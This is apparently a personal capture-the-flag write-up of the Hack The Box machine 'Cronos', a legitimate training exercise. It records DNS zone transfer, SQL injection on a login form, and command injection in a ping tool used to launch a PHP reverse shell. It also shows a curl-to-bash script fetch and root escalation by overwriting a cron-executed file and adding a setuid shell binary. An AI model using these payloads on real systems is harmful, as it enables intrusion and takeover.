Tracker

  • User
  • root  

Loot

Proofs

FileFlag
user.txt51d236438b333970dbba7dc3089be33b
root.txt1703b8a3c9a8dde879942c79d02fd3a0

Passwords

UsernameHashCleartextNotes
admin4f5fffa7b2340178a716e3832451e058md5 from admin.users db
adminkEjdbRigfBHUREiNSDs

Interesting Artifacts

ArtifactOriginal PathSaved PathNotes
http://cronos.htbLaravel PHP Framework is present
http://admin.cronos.htb
ns1.cronos.htb

Summary

OS: Linux 4.4.0-72-generic

Distribution: Ubuntu 16.04.2 LTS

Architecture: x86_64

FQDN: ?

vhosts: ?

Lessons Learned

Make sure to really look at script output. Don't skim over anything that sticks out as odd. I saw the writable executable path that was present in a cron job, and thought that might be useful, but then scrolled back up in the output to "checK". I don't know what I was checking, I think I thought that alert was just for the path writeability, not that it was a scheduled job itself. I didn't even know it executed as root until I saw ippsec mention it. The red exclamation mark should have tipped me off a bit also.

Now that I'm watching the ippsec video on this box, I didn't even think about what he jumped to. I jumped straight to just overwriting the entire artisan file. The method ippsec used was to define his own scheduled command in /var/www/laravel/app/Console/Kernel.php. He was able to figure this out by Googling for 'Laravel scheduler' or something like that. Then, instead of just sending back a reverse shell or something, he created the following C code:

int main(void)
{
setuid(0);
setgid(0);
system("/bin/bash");
}

Then he compiled it with gcc on his kali host, then uploaded and made it executable. Then he changed the "payload" in the Kernel.php file to:

$schedule->exec('chown root:root /var/temp/ippsec; chmod 4755 /var/temp/ippsec')->everyMinute(();

Then he waiting another minute for cron to run again, updating the compiled c binary ippsec to be owned by root, and set the suid bit. This will allow him to run the executable and escalate himself to root.


Solution

Enumeration

Open Ports

ssh on tcp/22
OpenSSH 7.2p2
 
domain on tcp/53
ISC BIND 9.10.3-P4
 
domain on udp/53
 
 
http on tcp/80
Apache httpd 2.4.18

Manual Enumeration

As always, I begin my enumeration by running a quick, full, and UDP Nmap port scan, followed up by service-specific Nmap script scans against detected exposed ports.

Ok, time to look at the service script scans.

 

SSH supports pubkey and pwd auth.

\| Supported authentication methods:
\| publickey
\|\_ password

The DNS scans on tcp/53 didn't come back with anything interesting, however it recommended running a different script arg.

\|\_dns-nsec-enum: Can\'t determine domain for host 10.10.10.13; use dns-nsec-enum.domains script arg.

Next I looked at the scan results for tcp/80.

Nothing really jumped out at me here either. The index.html page was a default It's Working page, but it made some reference to vhosts, so I guess I'll fuzz for those next.

Oh, before that though I should add this in to my hosts file and see if that gives me any difference. - Oh yup, that changed something, I have a different page here.

 Ok, I'll fire this vhost scan out, then kick off a re-enumeration of the http server targeting the FQDN this time.

  \| \~/cybersecurity/htb/boxes/10.10.10.13-cronos ································· 39s   17:07:56 ─╮
❯ gobuster vhost -u <http://cronos.htb:80> -w \~/cybersecurity/Tools/host-tools/git-tools/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -o ./scans/vhosts.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@\_FireFart\_)
===============================================================
\[+\] Url: <http://cronos.htb:80>
\[+\] Threads: 10
\[+\] Wordlist: /home/borari/cybersecurity/Tools/host-tools/git-tools/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
\[+\] User Agent: gobuster/3.0.1
\[+\] Timeout: 10s
===============================================================
2020/10/08 17:09:04 Starting gobuster
===============================================================
Found: admin.cronos.htb:80 (Status: 200) \[Size: 2580\]

Alright, it's nice when things work out the way you hoped. I added the admin vhost to my hosts file, then I kicked off my http tcp/80 scans against admin.cronos.htb.

sslscan --show-certificate admin.cronos.htb:80 2>&1 | tee "/home/borari/cybersecurity/htb/boxes/10.10.10.13-cronos/scans/admin_sslscan.txt"&
nmap -vv --reason -Pn -sV -p 80 --script="banner,(http* or ssl*) and not (brute or broadcast or dos or external or http-slowloris* or fuzzer)" -oN "/home/borari/cybersecurity/htb/boxes/10.10.10.13-cronos/scans/admin_http_nmap.txt" -oX "/home/borari/cybersecurity/htb/boxes/10.10.10.13-cronos/scans/xml/admin_http_nmap.xml" admin.cronos.htb&
curl -sSik [http://admin.cronos.htb:80/](http://admin.cronos.htb:80/) -m 10 2>&1 | tee "/home/borari/cybersecurity/htb/boxes/10.10.10.13-cronos/scans/admin_http_index.html"&
curl -sSik [http://admin.cronos.htb:80/robots.txt](http://admin.cronos.htb:80/robots.txt) -m 10 2>&1 | tee "/home/borari/cybersecurity/htb/boxes/10.10.10.13-cronos/scans/admin_http_robots.txt"&
if hash wkhtmltoimage 2> /dev/null; then wkhtmltoimage --format png [http://admin.cronos.htb:80/](http://admin.cronos.htb:80/) /home/borari/cybersecurity/htb/boxes/10.10.10.13-cronos/scans/admin_http_screenshot.png; fi&
whatweb --no-errors -a 3 -v [http://admin.cronos.htb:80](http://admin.cronos.htb:80) 2>&1 | tee "/home/borari/cybersecurity/htb/boxes/10.10.10.13-cronos/scans/admin_http_whatweb.txt"&
nikto -ask=no -h [http://admin.cronos.htb:80](http://admin.cronos.htb:80) 2>&1 | tee "/home/borari/cybersecurity/htb/boxes/10.10.10.13-cronos/scans/admin_http_nikto.txt"&
gobuster dir -u [http://admin.cronos.htb:80/](http://admin.cronos.htb:80/) -w /usr/share/seclists/Discovery/Web-Content/common.txt -z -k -l -x "txt,html,php,asp,aspx,jsp" -o "/home/borari/cybersecurity/htb/boxes/10.10.10.13-cronos/scans/admin_http_gobuster.txt"&

I also kicked them off on cronos.htb.

Now to review all this. I started with the results from admin.cronos.htb. There were a few gobuster discovered files.

/config.php (Status: 200) \[Size: 0\]
/index.php (Status: 200) \[Size: 2580\]
/index.php (Status: 200) \[Size: 2580\]
/logout.php (Status: 302) \[Size: 0\]
/server-status (Status: 403) \[Size: 304\]
/session.php (Status: 302) \[Size: 0\]
/welcome.php (Status: 302) \[Size: 439\]

I kicked off a gobuster scan of the same admin.cronos.htb root with the medium dictionary.

  \| \~/cybersecurity/htb/boxes/10.10.10.13-cronos ·································· INT ✘  17:34:22 ─╮
❯ gobuster dir -u <http://admin.cronos.htb:80/> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -l -x \"txt,html,php,jsp\" -o ./scans/admin_http_gobuster-med.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@\_FireFart\_)
===============================================================
\[+\] Url: <http://admin.cronos.htb:80/>
\[+\] Threads: 10
\[+\] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
\[+\] Status codes: 200,204,301,302,307,401,403
\[+\] User Agent: gobuster/3.0.1
\[+\] Show length: true
\[+\] Extensions: txt,html,php,jsp
\[+\] Timeout: 10s
===============================================================
2020/10/08 17:37:27 Starting gobuster
===============================================================
/index.php (Status: 200) \[Size: 2580\]
/welcome.php (Status: 302) \[Size: 439\]

Then I took a look at the www results. There were some other discovered files here also.

/css (Status: 301) \[Size: 306\]
/favicon.ico (Status: 200) \[Size: 0\]
/index.php (Status: 200) \[Size: 2319\]
/index.php (Status: 200) \[Size: 2319\]
/js (Status: 301) \[Size: 305\]
/robots.txt (Status: 200) \[Size: 24\]
/robots.txt (Status: 200) \[Size: 24\]
/server-status (Status: 403) \[Size: 298\]
/web.config (Status: 200) \[Size: 914\]

I'll run a medium scan against this vhost also I guess.

  \| \~/cybersecurity/htb/boxes/10.10.10.13-cronos ·········································· 17:46:06 ─╮
❯ gobuster dir -u <http://cronos.htb:80/> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -l -x \"txt,html,php,jsp\" -o ./scans/www_http_gobuster-med.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@\_FireFart\_)
===============================================================
\[+\] Url: <http://cronos.htb:80/>
\[+\] Threads: 10
\[+\] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
\[+\] Status codes: 200,204,301,302,307,401,403
\[+\] User Agent: gobuster/3.0.1
\[+\] Show length: true
\[+\] Extensions: txt,html,php,jsp
\[+\] Timeout: 10s
===============================================================
2020/10/08 17:46:12 Starting gobuster
===============================================================
/index.php (Status: 200) \[Size: 2319\]

The host is doing some sort of rewriting.

Also, the admin vhost has ads on the page, via Carbon.

EDB shows a deserialization RCE exploit targeting PHP Laravel Framwork. It does need a string from a .env file.

PHP Laravel Framework 5.5.40 / 5.6.x \< 5.6.30 - token Unserialize Remote Comma \| linux/remote/47129.rb

//BREAK//

What can we do with a listening DNS server? Zone transfer, domain brute force, etc. I hit the target with nslookup.

  \| \~/cybersecurity/htb/boxes/10.10.10.13-cronos ····························· 10m 21s   18:05:45 ─╮
❯ nslookup ─╯
\> server 10.10.10.13
Default server: 10.10.10.13
Address: 10.10.10.13#53
\> 10.10.10.13
13.10.10.10.in-addr.arpa        name = ns1.cronos.htb.
\>

Can I do a Zone Transfer? Yes!

  \| \~/cybersecurity/htb/boxes/10.10.10.13-cronos ································· 10s   18:14:21 ─╮
❯ dig axfr \@10.10.10.13 cronos.htb ─╯
 
; \<\<\>\> DiG 9.16.6-Debian \<\<\>\> axfr \@10.10.10.13 cronos.htb
; (1 server found)
;; global options: +cmd
cronos.htb.                604800        IN        SOA        cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb.                604800        IN        NS        ns1.cronos.htb.
cronos.htb.                604800        IN        A        10.10.10.13
admin.cronos.htb.        604800        IN        A        10.10.10.13
ns1.cronos.htb.                604800        IN        A        10.10.10.13
[www.cronos.htb](http://www.cronos.htb).                604800        IN        A        10.10.10.13
cronos.htb.                604800        IN        SOA        cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 43 msec
;; SERVER: 10.10.10.13#53(10.10.10.13)
;; WHEN: Thu Oct 08 18:16:08 EDT 2020
;; XFR size: 7 records (messages 1, bytes 203)

There we go, there is also a www vhost. Oh, it's the same as cronos.htb.

I should test the login page with sqlmap next. To do that, I grab the login request in Burp, save it to a .req file, and feed that to sqlmap.

   |  ~/cybersecurity/htb/boxes/10.10.10.13-cronos/exploit ·································· 18:25:53   ─╮
❯ sqlmap -r admin.cronos.htb.req --dump                                                                       ─╯
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.4.9#stable}
|_ -| . [.]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   [http://sqlmap.org](http://sqlmap.org)

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 18:26:09 /2020-10-08/

[18:26:09] [INFO] parsing HTTP request from 'admin.cronos.htb.req'
[18:26:09] [INFO] testing connection to the target URL
[18:26:10] [INFO] checking if the target is protected by some kind of WAF/IPS
[18:26:10] [INFO] testing if the target URL content is stable
[18:26:10] [INFO] target URL content is stable

  Ok, so I now know that the username field us injectable.

sqlmap identified the following injection point(s) with a total of 72 HTTP(s) requests:
\-\--
Parameter: username (POST)
Type: time-based blind
Title: MySQL \>= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin\' AND (SELECT 6544 FROM (SELECT(SLEEP(5)))wwwP) AND \'BkGM\'=\'BkGM&password=admin
\-\--

Since I knew it was injectable, I manually brute forced for an injectable string. It ended up being one that ended in with the comment dashes.

Once I was logged in, I saw that there was a tool that allowed me to execute traceroute and ping. If I can specify the target argument, can I just pass additional system commands through with it? Yes, I can. Also, I'm running in the context of www-data.

It looks like nc is installed. It didn't work to send a reverse shell back though.

I know php is on the box, can I use that?

8.8.8.8;php -r '$sock = fsockopen("10.10.14.21",445);$proc = proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);'
Using the above oneliner in the Net Tool v0.1 input form sent back a shell that I caught on my nc listener.
  \| \~/cybersecurity/htb/boxes/10.10.10.13-cronos ·········································· 13:54:28 ─╮
❯ nc -nvlp 443 ─╯
listening on \[any\] 443 \...
connect to \[10.10.14.21\] from (UNKNOWN) \[10.10.10.13\] 55896
/bin/sh: 0: can\'t access tty; job control turned off
\$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
\$

I can read the user's home directory, and the user.txt file.

ll /home
total 12K
drwxr-xr-x 3 root root 4.0K Mar 22 2017 .
drwxr-xr-x 23 root root 4.0K Apr 9 2017 ..
drwxr-xr-x 4 noulis noulis 4.0K Apr 9 2017 noulis
www-data@cronos:/var/www/admin\$ ll /home/noulis
ll /home/noulis
total 44K
drwxr-xr-x 4 noulis noulis 4.0K Apr 9 2017 .
drwxr-xr-x 3 root root 4.0K Mar 22 2017 ..
-rw\-\-\-\-\-\-- 1 root root 1 Dec 24 2017 .bash_history
-rw-r\--r\-- 1 noulis noulis 220 Mar 22 2017 .bash_logout
-rw-r\--r\-- 1 noulis noulis 3.7K Mar 22 2017 .bashrc
drwx\-\-\-\-\-- 2 noulis noulis 4.0K Mar 22 2017 .cache
drwxr-xr-x 3 root root 4.0K Apr 9 2017 .composer
-rw\-\-\-\-\-\-- 1 root root 259 Apr 9 2017 .mysql_history
-rw-r\--r\-- 1 noulis noulis 655 Mar 22 2017 .profile
-rw-r\--r\-- 1 root root 66 Apr 9 2017 .selected_editor
-rw-r\--r\-- 1 noulis noulis 0 Mar 22 2017 .sudo_as_admin_successful
-r\--r\--r\-- 1 noulis noulis 33 Mar 22 2017 user.txt

User Compromise

 

EoP Enumeration

There are multiple files owned by root in the user noulis home directory. This would indicate the user can sudo to root, right?

The .composer/ subdirectory has pub keys. I printed them out and saved them locally.

cat keys.dev.pub;echo;echo;cat keys.tags.pub;echo

I ran the linux smart enum shell script. I didn't save it on the target machine, I sourced it with wget and redirected it to bash.

curl -s http://10.10.14.21/linux_smart_enum.sh | bash /dev/stdin -l 1

I've never seen a full name in the /etc/passwd file like this before.

There's a git repo in user noulis home directory. I saw this earlier and didn't even think about looking at commit diffs until this enum script ran.

Right, There is also that mysql server listening to localhost.

Also, there is a crontab job running every minute as root, and I can write to it's path. The crontab command executes via php, so I will have to use another php oneliner.

I echoed the following php reverse shell into a test file on the target. I then called it with php. I was able to confirm my syntax was correct and that I should receive a shell when cron executes.

echo ' <?php $sock = fsockopen("10.10.14.21",445);$proc = proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);' > test

I then echo'd the PHP one-liner into the file executed by the cron job.

echo ' <?php $sock = fsockopen("10.10.14.21",445);$proc = proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);' > /var/www/laravel/artisan

 

And I caught my shell about a minute later.

  \| \~/cybersecurity/htb/boxes/10.10.10.13-cronos ·········································· 15:17:15 ─╮
❯ nc -nvlp 445 ─╯
listening on \[any\] 445 \...
connect to \[10.10.14.21\] from (UNKNOWN) \[10.10.10.13\] 38266
/bin/sh: 0: can\'t access tty; job control turned off
\# id
uid=0(root) gid=0(root) groups=0(root)
\#

root Compromise


Next: Silo